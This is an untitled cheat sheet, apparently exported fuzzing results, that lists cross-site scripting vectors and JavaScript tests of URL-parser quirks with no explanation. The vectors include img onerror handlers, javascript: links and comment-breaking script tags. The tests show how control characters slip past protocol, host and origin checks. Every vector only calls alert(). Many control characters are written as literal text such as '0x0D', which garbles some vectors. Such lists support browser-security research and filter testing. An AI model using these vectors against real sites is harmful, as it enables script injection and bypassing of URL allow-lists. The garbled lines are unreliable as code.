Cheat Sheet

if (new URL("javascript"+String.fromCodePoint(parseInt(9..toString(16),16))+":alert()").protocol=="javascript:"){alert(9)}

if (new URL("javascript"+String.fromCodePoint(parseInt(10..toString(16),16))+":alert()").protocol=="javascript:"){alert(10)}

if (new URL("javascript"+String.fromCodePoint(parseInt(13..toString(16),16))+":alert()").protocol=="javascript:"){alert(13)}

if (new URL("javascript"+String.fromCodePoint(parseInt(58..toString(16),16))+":alert()").protocol=="javascript:"){alert(58)}

let chr = String.fromCodePoint(9);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(9)

let chr = String.fromCodePoint(10);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(10)

let chr = String.fromCodePoint(13);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(13)

let chr = String.fromCodePoint(43);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(43)

let chr = String.fromCodePoint(45);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(45)

<a href="0x01javascript:test.com/" id="test"></a>

<a href="0x02javascript:test.com/" id="test"></a>

<a href="0x03javascript:test.com/" id="test"></a>

<a href="0x04javascript:test.com/" id="test"></a>

<a href="0x05javascript:test.com/" id="test"></a>

--><!---><script>alert(45)</script>

--><!-->><script>alert(62)</script>

<a id="x" href="https://0x00.com">

if (new URL("https://google.com0x090x09/endpoint").host=="google.com"){alert(9)}

if (new URL("https://google.com##/endpoint").host=="google.com"){alert(35)}

if (new URL("https://google.com///endpoint").host=="google.com"){alert(47)}

if (new URL("https://google.com??/endpoint").host=="google.com"){alert(63)}

if (new URL("https://google.com\\/endpoint").host=="google.com"){alert(92)}

<<img/src/onerror=alert(1)>

<img src=x0x09onerror=alert(9)>

<img src=x
onerror=alert(10)>

<img src=x0x0Conerror=alert(12)>

<img src=x0x0Donerror=alert(13)>

<img src=x onerror=alert(32)>

if (new URL("https://example.com" + String.fromCodePoint(9) + "/").hostname === 'example.com'){alert(9)}

if (new URL("https://example.com" + String.fromCodePoint(10) + "/").hostname === 'example.com'){alert(10)}

if (new URL("https://example.com" + String.fromCodePoint(13) + "/").hostname === 'example.com'){alert(13)}

if (new URL("https://example.com" + String.fromCodePoint(35) + "/").hostname === 'example.com'){alert(35)}

if (new URL("https://example.com" + String.fromCodePoint(47) + "/").hostname === 'example.com'){alert(47)}

(new URL("https:" + String.fromCodePoint(0) + "example.com","https://shazzer.co.uk").origin === new URL("https://shazzer.co.uk").origin) && (new URL("https:" + String.fromCodePoint(0) + "example.com").origin === new URL("https://example.com").origin) && alert(0 + " >> " + String.fromCodePoint(0))0x0D
0x0D

if (new URL("https://example" + String.fromCharCode(i) + "com").host == "example.com") alert(i)

char = String.fromCodePoint(60)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
    new URL(url)0x0D
}0x0D
catch(e){0x0D
    anchor.href=url0x0D
    if(anchor.protocol !== ':'){alert(60)}0x0D
}

char = String.fromCodePoint(62)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
    new URL(url)0x0D
}0x0D
catch(e){0x0D
    anchor.href=url0x0D
    if(anchor.protocol !== ':'){alert(62)}0x0D
}

char = String.fromCodePoint(64)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
    new URL(url)0x0D
}0x0D
catch(e){0x0D
    anchor.href=url0x0D
    if(anchor.protocol !== ':'){alert(64)}0x0D
}

char = String.fromCodePoint(91)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
    new URL(url)0x0D
}0x0D
catch(e){0x0D
    anchor.href=url0x0D
    if(anchor.protocol !== ':'){alert(91)}0x0D
}

char = String.fromCodePoint(92)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
    new URL(url)0x0D
}0x0D
catch(e){0x0D
    anchor.href=url0x0D
    if(anchor.protocol !== ':'){alert(92)}0x0D
}

<img src=x onerror0x09=alert(9)>

<img src=x onerror
=alert(10)>

<img src=x onerror0x0C=alert(12)>

<img src=x onerror0x0D=alert(13)>

<img src=x onerror =alert(32)>

<a href="javascript0x09:" id=x></a>

<a href="javascript
:" id=x></a>

<a href="javascript0x0D:" id=x></a>

<a href="javascript::" id=x></a>

if (new URL("https://example.com" + String.fromCodePoint(0)).hostname === 'example.com'){alert(0)}

if (new URL("https://example.com" + String.fromCodePoint(1)).hostname === 'example.com'){alert(1)}

if (new URL("https://example.com" + String.fromCodePoint(2)).hostname === 'example.com'){alert(2)}

if (new URL("https://example.com" + String.fromCodePoint(3)).hostname === 'example.com'){alert(3)}

if (new URL("https://example.com" + String.fromCodePoint(4)).hostname === 'example.com'){alert(4)}

<! <a/b="--><img/src/onerror=alert(1)>"

</ <a/b="--><img/src/onerror=alert(1)>"

<? <a/b="--><img/src/onerror=alert(1)>"

if (new URL("https://google.com0x090x09/endpoint").origin=="https://google.com"){alert(9)}

if (new URL("https://google.com##/endpoint").origin=="https://google.com"){alert(35)}

if (new URL("https://google.com///endpoint").origin=="https://google.com"){alert(47)}

if (new URL("https://google.com??/endpoint").origin=="https://google.com"){alert(63)}

if (new URL("https://google.com\\/endpoint").origin=="https://google.com"){alert(92)}

<p><img/src/onerror=alert(1)></p>

if (new URL("javascript0x09:alert()").protocol=="javascript:"){alert(9)}

if (new URL("javascript::alert()").protocol=="javascript:"){alert(58)}

if (new URL("javascript\:alert()").protocol=="javascript:"){alert(92)}

eval('""');alert(34);